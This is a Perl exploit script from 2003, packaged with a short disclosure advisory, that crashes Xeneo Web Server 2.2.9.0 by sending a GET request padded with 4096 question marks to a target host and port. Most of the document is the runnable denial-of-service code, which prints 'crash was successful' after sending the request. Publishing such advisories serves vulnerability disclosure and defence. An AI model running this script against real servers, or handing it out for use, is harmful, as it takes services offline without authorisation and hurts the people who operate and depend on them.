sp-xeneo.pl

`##!/usr/bin/perl  
#  
#  
#  
#SP Research Labs Advisory x03  
#-----------------------------  
#www.security-protocols.com  
#  
#Product - Xeneo Web Server 2.2.9.0  
#  
#Download it here:  
#http://www.northernsolutions.com/index.php?view=product&id=1  
#  
#Date Released - 04/21/2003  
#  
#Release Mode - Vendor was notified on 3/18/2003. Sent a few emails but  
#never got any replies. So here it goes.  
#  
#----------------------------  
#  
#Product Description from the vendor -  
#  
#Xeneo Web Server is designed to deliver high performance and  
#reliability. It can be easily extended and customized to host  
#everything from a personal web site to advanced web applications  
#that use ASP, PHP, ColdFusion, Perl, CGI and ISAPI. Key Xeneo  
#Web Server features include: multiple domain support, integrated  
#Windows authentication, scripting interface, enhanced filter  
#support, ISAPI, CGI, ASP, SSL, intelligent file caching and more.  
#  
#-----------------------------  
#  
#Vulnerability Description -  
#  
#To exploit this vulnerability, simply do a GET / with 4096 ?'s or more  
#will cause the web server to go down. It is not exploitable at this  
#point.  
#  
#Tested on:  
#  
#Windows XP Pro SP1  
#Windows 2000 SP3  
#  
#  
# Xeneo Web Server DoS   
#  
# Vulnerable systems:  
# Xeneo. Web Server 2.2.9.0  
# http://www.northernsolutions.com  
#   
# Written by badpack3t <[email protected]>  
# For SP Research Labs  
# 04/21/2003  
#   
# www.security-protocols.com  
#   
# usage:   
# perl sp-xeneo.pl <target> <port>  
#  
# big ups 2: c0nnie!!!! 143~!~!~!  
  
use IO::Socket;  
use strict;  
  
print ".:."x 20; print "\nXeneo Web Server 2.2.9.0 DoS, <badpack3t\@security-protocols.com>\n";  
print ".:."x 20; print "\n\n";  
  
if( !defined( $ARGV[ 0 ] && $ARGV[ 1 ]))  
{  
&usage;  
}  
  
my $host = $ARGV[ 0 ];  
my $def = "?";  
my $num = "4096";  
my $port = $ARGV[ 1 ];  
my $urfuqed = $def x $num;  
  
my $tcpval = getprotobyname( 'tcp' );  
my $serverIP = inet_aton( $host );  
my $serverAddr = sockaddr_in( $ARGV[ 1 ], $serverIP );  
my $protocol_name = "tcp";  
  
my $iaddr = inet_aton( $host ) || die ( "host was not found: $host" );  
my $paddr = sockaddr_in( $port, $iaddr ) || die ( "you did something wrong stupid... exiting..." );  
my $proto = getprotobyname( 'tcp' ) || die ( "cannot get protocol" );  
socket( SOCK, PF_INET, SOCK_STREAM, $proto ) || die ( "socket could not open: $host" );  
connect( SOCK, $paddr ) || die ( "cannot connect to: $host" );  
  
my $submit = "GET /$urfuqed HTTP/1.0\r\n\r\n";   
send( SOCK,$submit,0 );  
close( SOCK );  
  
sub usage   
{  
die( "\n\nUsage: perl $0 <target_host> <port>\n\n" );  
}  
  
print "\n.:.:.:.:.:.:.:.:.:.:.:.";  
print "\ncrash was successful ~!\n";  
print "\.:.:.:.:.:.:.:.:.:.:.:.\n";  
`